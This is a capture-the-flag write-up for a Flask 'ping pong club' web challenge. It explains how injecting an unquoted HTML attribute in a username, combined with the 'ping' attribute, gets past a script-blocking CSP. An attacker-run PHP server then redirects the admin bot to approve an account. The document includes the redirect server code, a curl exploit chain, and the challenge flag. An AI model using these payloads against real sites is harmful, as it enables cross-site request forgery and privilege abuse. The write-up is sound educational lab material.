Skip to content

Writeup for S2G Web Challenge - The Net Ninjas

Posted on:December 15, 2023 at 11:54 PM

Challenge

I stumbled over this secret ping pong club. They don’t appear to be very approving…

http://10.212.138.23:16528

Flag format: S2G{…}

<source-code> (download and try yourself:))

Solution

The challenge is a flask webapp that lets the user register a user. The admin bot checks registrations and denies them automatically. Only the admin can approve registrations, and we get the flag if we trick the admin to approve our user.

The only thing that looked interesting in the application was the template used to generate the admin dashboard. Here, next_application is swapped out with our username. What’s interesting is that the path is not encapsulated in ". This makes my syntax highlighter mad.

snipet from templates/admin.html

<a href=/admin/view/{{ next_application }} class="view-application">View next application</a>

how it lookes with username: martcl

<a href=/admin/view/martcl class="view-application">View next application</a>

We can use the bad validation of username uppon registration to create some interesting results.

When registering a user, a username is validated with regex and basic string length checks. Python regex only maches until the regex condition is met, so we can use this to our advantage. Creating a username martcl tag=1, it will mach martcl as true and thereby validating the whole string as true.

username validation on server

elif len(username) < 6:
    flash('Username is too short.', 'error')
elif len(username) > 36:
    flash('Username is too long.', 'error')
elif not re.match('[A-Za-z0-9_]{6,36}', username):
    flash('Invalid characters in username.', 'error')

We can use this to add arbitrary atteributes on the a-tag. Ahhh! let’s add an onload event to the a-tag. This will trigger when the page is loaded… but the webapp has a CSP header that disallows javascript in it’s entirety.

@app.after_request
def csp(resp):
    resp.headers['Content-Security-Policy'] = "script-src 'none'"
    return resp

What we can do instead is to add a html little known attribute called ping. This will make the browser do a POST request to the url specified in the attribute. This does not work in firefox, but it works in chrome. Lucky me! The admin checker uses puppeteer, which is basicly a headless chrome browser.

Crafting a username aaaaaa ping=/api/applications/approve/martcl would have worked, if it wasn’t for the max length restriction of 36 characters (this payload is 44).

I since there was no CSRF protection, I opted to create my own webserver that would redirect the admin to the local webserver uppon a post request. (I used a 307 redirect, since the admin checker uses a POST request to approve users)

My webserver in PHP

<?php
error_log($_SERVER['REQUEST_METHOD'] . ' ' . $_SERVER['REQUEST_URI']);

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    header('Location: http://webapp:1337/api/applications/approve/martin', true, 307);
    exit;
}
?>

<h1>
    Exploit
</h1>
<p>
    Note to bypassers:
    This page is used to win the s2g challenge ping pong.
</p>

The entire exploit chain is ready. I just need to craft a username that uses the ip adress of my webserver.

Exploit chain

USERNAME="martcl"
PASSWORD="rph6ybt1QTP_gqx_nkr"

# step 1. register a user
curl 'http://<challenge-website>/register' -X POST --data "username=$USERNAME&password=$PASSWORD&motivation=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"

# Step 2. change the exploit website to approve the right user. Run the server
# php -S 0.0.0.0:80 index.php

# Step 3. Get my ipv4 address
# ifconfig

# Step 4. Approve the user
curl 'http://<challenge-website>/register' -X POST --data 'username=aaaaa ping=http://<my-ipv4>&password=rph6ybt1QTQ_gqx_nkw&motivation=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'

# Step 5. Login to get the flag
# (ez just using the website)

flag: S2G{32c1c8f26f532babb8bf6c098d3b4815}